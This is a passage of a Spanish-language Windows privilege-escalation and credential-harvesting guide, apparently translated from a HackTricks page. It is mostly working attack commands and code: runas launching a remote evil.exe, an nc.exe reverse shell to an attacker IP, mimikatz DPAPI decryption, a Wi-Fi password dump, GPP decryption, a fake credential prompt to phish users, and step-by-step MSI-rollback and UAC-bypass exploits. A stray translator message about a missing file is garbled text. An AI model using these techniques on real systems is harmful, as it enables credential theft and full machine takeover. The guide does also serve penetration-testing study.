reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Administrador de credenciales / Windows vault

Desde https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault almacena credenciales de usuario para servidores, sitios web y otros programas que Windows puede iniciar sesión automáticamente. A primera vista, esto podría parecer que los usuarios pueden almacenar sus credenciales de Facebook, Twitter, Gmail, etc., para iniciar sesión automáticamente desde los navegadores. Pero no es así.

Windows Vault almacena credenciales que Windows puede usar para iniciar sesión automáticamente, lo que significa que cualquier aplicación de Windows que necesita credenciales para acceder a un recurso (servidor o un sitio web) puede hacer uso de este Credential Manager & Windows Vault y usar las credenciales suministradas en lugar de que los usuarios introduzcan el nombre de usuario y la contraseña todo el tiempo.

A menos que las aplicaciones interactúen con Credential Manager, no creo que sea posible que usen las credenciales para un recurso dado. Por lo tanto, si tu aplicación quiere hacer uso del vault, debería de alguna forma comunicarse con el credential manager y solicitar las credenciales para ese recurso desde el vault de almacenamiento por defecto.

Usa el cmdkey para listar las credenciales almacenadas en la máquina.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Entonces puedes usar runas con la opción /savecred para usar las credenciales guardadas. El siguiente ejemplo invoca un binario remoto a través de un recurso compartido SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Usando runas con un conjunto de credenciales proporcionadas.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Tenga en cuenta que mimikatz, lazagne, credentialfileview, VaultPasswordView, o el Empire Powershells module.

DPAPI

La API de Protección de Datos (DPAPI) proporciona un método para el cifrado simétrico de datos, utilizada predominantemente en el sistema operativo Windows para el cifrado simétrico de claves privadas asimétricas. Este cifrado aprovecha un secreto de usuario o del sistema para contribuir significativamente a la entropía.

DPAPI permite el cifrado de claves mediante una clave simétrica que se deriva de los secretos de inicio de sesión del usuario. En escenarios que implican cifrado a nivel de sistema, utiliza los secretos de autenticación de dominio del sistema.

Las claves RSA de usuario cifradas, al usar DPAPI, se almacenan en el directorio %APPDATA%\Microsoft\Protect\{SID}, donde {SID} representa el Security Identifier del usuario. La clave DPAPI, co-locada con la clave maestra que protege las claves privadas del usuario en el mismo archivo, típicamente consiste en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido mediante el comando dir en CMD, aunque puede listarse a través de PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Puedes usar el mimikatz module dpapi::masterkey con los argumentos apropiados (/pvk o /rpc) para descifrarlo.

Los archivos de credenciales protegidos por la master password suelen ubicarse en:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Puedes usar el mimikatz module dpapi::cred con el /masterkey apropiado para descifrar.
Puedes extraer muchos DPAPI masterkeys desde memory con el módulo sekurlsa::dpapi (si eres root).

DPAPI - Extracting Passwords

Credenciales de PowerShell

Credenciales de PowerShell se usan a menudo para scripting y tareas de automatización como una forma conveniente de almacenar credenciales cifradas. Las credenciales están protegidas usando DPAPI, lo que normalmente significa que solo pueden ser descifradas por el mismo usuario en el mismo equipo donde fueron creadas.

Para descifrar una credencial de PS desde el archivo que la contiene puedes hacer:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wi-Fi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Conexiones RDP guardadas

Puedes encontrarlas en HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
y en HKCU\Software\Microsoft\Terminal Server Client\Servers\

Comandos ejecutados recientemente

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Administrador de credenciales de Escritorio remoto

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Usa el módulo Mimikatz dpapi::rdg con el /masterkey apropiado para descifrar cualquier archivo .rdg
Puedes extraer muchas DPAPI masterkeys de la memoria con el módulo Mimikatz sekurlsa::dpapi

Sticky Notes

People often use the StickyNotes app on Windows workstations to save passwords and other information, not realizing it is a database file. This file is located at C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite and is always worth searching for and examining.

AppCmd.exe

Ten en cuenta que para recuperar contraseñas desde AppCmd.exe necesitas ser Administrador y ejecutarlo con un nivel de integridad alto.
AppCmd.exe se encuentra en el directorio %systemroot%\system32\inetsrv\.
Si este archivo existe, es posible que se hayan configurado algunas credentials y que puedan ser recuperadas.

Este código fue extraído de PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Comprueba si C:\Windows\CCM\SCClient.exe existe .
Los instaladores se run with SYSTEM privileges, muchos son vulnerables a DLL Sideloading (Información de https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Archivos y Registro (Credenciales)

Credenciales de Putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Putty SSH Claves de host

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys en el registro

SSH private keys pueden almacenarse dentro de la clave del registro HKCU\Software\OpenSSH\Agent\Keys, por lo que deberías comprobar si hay algo interesante allí:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Si encuentras alguna entrada dentro de esa ruta, probablemente sea una SSH key guardada. Está almacenada cifrada pero puede descifrarse fácilmente usando https://github.com/ropnop/windows_sshagent_extract.
Más información sobre esta técnica aquí: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Si el servicio ssh-agent no se está ejecutando y quieres que se inicie automáticamente al arrancar, ejecuta:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Parece que esta técnica ya no es válida. Intenté crear algunas claves ssh, añadirlas con ssh-add e iniciar sesión vía ssh en una máquina. El registro HKCU\Software\OpenSSH\Agent\Keys no existe y procmon no identificó el uso de dpapi.dll durante la autenticación de clave asimétrica.

Archivos desatendidos

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

También puedes buscar estos archivos usando metasploit: post/windows/gather/enum_unattend

Contenido de ejemplo:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Copias de seguridad de SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Credenciales en la nube

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Busca un archivo llamado SiteList.xml

Cached GPP Pasword

Anteriormente existía una funcionalidad que permitía desplegar cuentas de administrador local personalizadas en un conjunto de equipos mediante Group Policy Preferences (GPP). Sin embargo, este método presentaba fallos de seguridad significativos. En primer lugar, los Group Policy Objects (GPOs), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de estos GPP, cifradas con AES256 usando una clave por defecto públicamente documentada, podían ser descifradas por cualquier usuario autenticado. Esto representaba un riesgo serio, ya que podía permitir a usuarios obtener privilegios elevados.

Para mitigar este riesgo, se desarrolló una función que busca archivos GPP almacenados en caché localmente que contengan un campo “cpassword” no vacío. Al encontrar dicho archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, ayudando a identificar y remediar esta vulnerabilidad de seguridad.

Busca en C:\ProgramData\Microsoft\Group Policy\history o en C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (anterior a W Vista) estos archivos:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Para descifrar el cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Uso de crackmapexec para obtener las contraseñas:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Configuración web

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Ejemplo de web.config con credenciales:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Credenciales de OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Registros

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Pedir credentials

Siempre puedes pedir al usuario que introduzca sus credentials o incluso las credentials de otro usuario si crees que puede conocerlas (ten en cuenta que pedir al cliente directamente las credentials es realmente arriesgado):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Posibles nombres de archivo que contienen credentials

Archivos conocidos que hace algún tiempo contenían passwords en clear-text o Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

No recibí el contenido del archivo src/windows-hardening/windows-local-privilege-escalation/README.md. Por favor pega aquí el contenido que quieres que traduzca (mantendré sin traducir código, rutas, enlaces, tags y otros elementos según tus indicaciones).

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credentials en la RecycleBin

También deberías revisar el Bin para buscar credentials en su interior

Para recuperar passwords guardadas por varios programas puedes usar: http://www.nirsoft.net/password_recovery_tools.html

Dentro del registro

Otras posibles claves del registro con credentials

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Historial de navegadores

Debes comprobar los dbs donde se almacenan las contraseñas de Chrome or Firefox.
También revisa el historial, marcadores y favoritos de los navegadores, ya que quizá algunas contraseñas estén ahí almacenadas.

Tools to extract passwords from browsers:

COM DLL Overwriting

Component Object Model (COM) es una tecnología integrada en el sistema operativo Windows que permite la intercomunicación entre componentes de software escritos en diferentes lenguajes. Cada componente COM es identificado vía un class ID (CLSID) y cada componente expone funcionalidad a través de una o más interfaces, identificadas por interface IDs (IIDs).

Las clases e interfaces COM se definen en el registro bajo HKEY\CLASSES\ROOT\CLSID y HKEY\CLASSES\ROOT\Interface respectivamente. Este registro se crea al fusionar HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Dentro de los CLSIDs de este registro puedes encontrar la clave hija InProcServer32 que contiene un valor por defecto que apunta a una DLL y un valor llamado ThreadingModel que puede ser Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) o Neutral (Thread Neutral).

Básicamente, si puedes sobrescribir cualquiera de las DLLs que se van a ejecutar, podrías elevar privilegios si esa DLL va a ser ejecutada por un usuario diferente.

Para aprender cómo los atacantes usan COM Hijacking como mecanismo de persistencia, consulta:

COM Hijacking

Búsqueda genérica de contraseñas en archivos y registro

Buscar contenidos de archivos

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Buscar un archivo con un nombre determinado

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Buscar en el registro nombres de claves y contraseñas

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Herramientas que buscan passwords

MSF-Credentials Plugin es un msf plugin que he creado para ejecutar automáticamente cada metasploit POST module que busca credentials dentro de la víctima.
Winpeas busca automáticamente todos los archivos que contienen passwords mencionados en esta página.
Lazagne es otra gran herramienta para extraer passwords de un sistema.

La herramienta SessionGopher busca sessions, usernames y passwords de varias herramientas que guardan estos datos en texto plano (PuTTY, WinSCP, FileZilla, SuperPuTTY y RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

Los segmentos de memoria compartida, referidos como pipes, permiten la comunicación entre procesos y la transferencia de datos.

Windows proporciona una característica llamada Named Pipes, que permite a procesos no relacionados compartir datos, incluso a través de diferentes redes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como named pipe server y named pipe client.

Cuando los datos son enviados a través de una pipe por un client, el server que creó la pipe tiene la capacidad de adoptar la identidad del client, siempre que tenga los derechos necesarios SeImpersonate. Identificar un proceso privilegiado que se comunique mediante una pipe que puedas imitar ofrece la oportunidad de obtener privilegios superiores adoptando la identidad de ese proceso cuando interactúe con la pipe que hayas establecido. Para instrucciones sobre cómo ejecutar este ataque, hay guías útiles aquí y aquí.

También la siguiente herramienta permite interceptar una comunicación de named pipe con una herramienta como burp: https://github.com/gabriel-sztejnworcel/pipe-intercept y esta herramienta permite listar y ver todas las pipes para encontrar privescs https://github.com/cyberark/PipeViewer

Varios

Extensiones de archivo que podrían ejecutar código en Windows

Check out the page https://filesec.io/

Monitoreo de líneas de comando en busca de contraseñas

When getting a shell as a user, there may be scheduled tasks or other processes being executed which pass credentials on the command line. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Stealing passwords from processes

From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Si tienes acceso a la interfaz gráfica (vía consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar una terminal u otro proceso como “NT\AUTHORITY SYSTEM” desde un usuario sin privilegios.

Esto permite escalar privilegios y evadir UAC al mismo tiempo usando la misma vulnerabilidad. Además, no hay necesidad de instalar nada y el binary usado durante el proceso está firmado y emitido por Microsoft.

Algunos de los sistemas afectados son los siguientes:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Para explotar esta vulnerabilidad, es necesario realizar los siguientes pasos:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Read this to learn about Integrity Levels:

Integrity Levels

Then read this to learn about UAC and UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

The technique described in this blog post with a exploit code available here.

El ataque básicamente consiste en abusar de la función de rollback del Windows Installer para reemplazar archivos legítimos por otros maliciosos durante el proceso de desinstalación. Para ello el atacante necesita crear un malicious MSI installer que será usado para secuestrar la carpeta C:\Config.Msi, la cual luego será usada por el Windows Installer para almacenar archivos de rollback durante la desinstalación de otros paquetes MSI, donde los archivos de rollback habrán sido modificados para contener la carga maliciosa.

La técnica resumida es la siguiente:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

  • Step 1: Install the MSI

  • Create an .msi that installs a harmless file (e.g., dummy.txt) in a writable folder (TARGETDIR).

  • Mark the installer as “UAC Compliant”, so a non-admin user can run it.

  • Keep a handle open to the file after install.

  • Step 2: Begin Uninstall

  • Uninstall the same .msi.

  • The uninstall process starts moving files to C:\Config.Msi and renaming them to .rbf files (rollback backups).

  • Poll the open file handle using GetFinalPathNameByHandle to detect when the file becomes C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • The .msi includes a custom uninstall action (SyncOnRbfWritten) that:

  • Signals when .rbf has been written.

  • Then waits on another event before continuing the uninstall.

  • Step 4: Block Deletion of .rbf

  • When signaled, open the .rbf file without FILE_SHARE_DELETE — this prevents it from being deleted.

  • Then signal back so the uninstall can finish.

  • Windows Installer fails to delete the .rbf, and because it can’t delete all contents, C:\Config.Msi is not removed.

  • Step 5: Manually Delete .rbf

  • You (attacker) delete the .rbf file manually.

  • Now C:\Config.Msi is empty, ready to be hijacked.

At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Recreate the C:\Config.Msi folder yourself.

  • Set weak DACLs (e.g., Everyone:F), and keep a handle open with WRITE_DAC.

  • Step 7: Run Another Install

  • Install the .msi again, with:

  • TARGETDIR: Writable location.

  • ERROROUT: A variable that triggers a forced failure.

  • This install will be used to trigger rollback again, which reads .rbs and .rbf.

  • Step 8: Monitor for .rbs

  • Use ReadDirectoryChangesW to monitor C:\Config.Msi until a new .rbs appears.

  • Capture its filename.

  • Step 9: Sync Before Rollback

  • The .msi contains a custom install action (SyncBeforeRollback) that:

  • Signals an event when the .rbs is created.

  • Then waits before continuing.

  • Step 10: Reapply Weak ACL

  • After receiving the .rbs created event:

  • The Windows Installer reapplies strong ACLs to C:\Config.Msi.

  • But since you still have a handle with WRITE_DAC, you can reapply weak ACLs again.

ACLs are only enforced on handle open, so you can still write to the folder.

  • Step 11: Drop Fake .rbs and .rbf

  • Overwrite the .rbs file with a fake rollback script that tells Windows to:

  • Restore your .rbf file (malicious DLL) into a privileged location (e.g., C:\Program Files\Common Files\microsoft shared\ink\HID.DLL).

  • Drop your fake .rbf containing a malicious SYSTEM-level payload DLL.

  • Step 12: Trigger the Rollback

  • Signal the sync event so the installer resumes.

  • A type 19 custom action (ErrorOut) is configured to intentionally fail the install at a known point.

  • This causes rollback to begin.

  • Step 13: SYSTEM Installs Your DLL

  • Windows Installer:

  • Reads your malicious .rbs.

  • Copies your .rbf DLL into the target location.

  • You now have your malicious DLL in a SYSTEM-loaded path.

  • Final Step: Execute SYSTEM Code

  • Run a trusted auto-elevated binary (e.g., osk.exe) that loads the DLL you hijacked.

  • Boom: Your code is executed as SYSTEM.

From Arbitrary File Delete/Move/Rename to SYSTEM EoP

The main MSI rollback technique (the previous one) assumes you can delete an entire folder (e.g., C:\Config.Msi). But what if your vulnerability only allows arbitrary file deletion ?

Podrías explotar los internos de NTFS: cada carpeta tiene un flujo de datos alternativo oculto llamado:

C:\SomeFolder::$INDEX_ALLOCATION

Este stream almacena los metadatos del índice de la carpeta.

Por lo tanto, si eliminas el stream ::$INDEX_ALLOCATION de una carpeta, NTFS elimina toda la carpeta del sistema de archivos.

Puedes hacer esto usando APIs estándar de eliminación de archivos como:

DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");

Aunque estás llamando a una file delete API, elimina la carpeta en sí.

De Folder Contents Delete a SYSTEM EoP

¿Qué ocurre si tu primitive no te permite eliminar archivos/carpetas arbitrarios, pero sí permite la eliminación del contenido de una carpeta controlada por el atacante?

  1. Paso 1: Configura una carpeta y un archivo señuelo
  • Crear: C:\temp\folder1
  • Dentro de ella: C:\temp\folder1\file1.txt
  1. Paso 2: Coloca un oplock en file1.txt
  • El oplock pausa la ejecución cuando un proceso privilegiado intenta eliminar file1.txt.
// pseudo-code
RequestOplock("C:\\temp\\folder1\\file1.txt");
WaitForDeleteToTriggerOplock();
  1. Paso 3: Activar el proceso SYSTEM (p. ej., SilentCleanup)
  • Este proceso escanea carpetas (p. ej., %TEMP%) e intenta borrar su contenido.
  • Cuando llega a file1.txt, el oplock triggers y entrega el control a tu callback.
  1. Paso 4: Dentro del oplock callback – redirigir la eliminación

  • Opción A: Mover file1.txt a otro lugar

  • Esto vacía folder1 sin romper el oplock.

  • No borres file1.txt directamente — eso liberaría el oplock prematuramente.

  • Opción B: Convertir folder1 en una junction:

# folder1 is now a junction to \RPC Control (non-filesystem namespace)
mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
  • Opción C: Crear un symlink en \RPC Control:
# Make file1.txt point to a sensitive folder stream
CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")

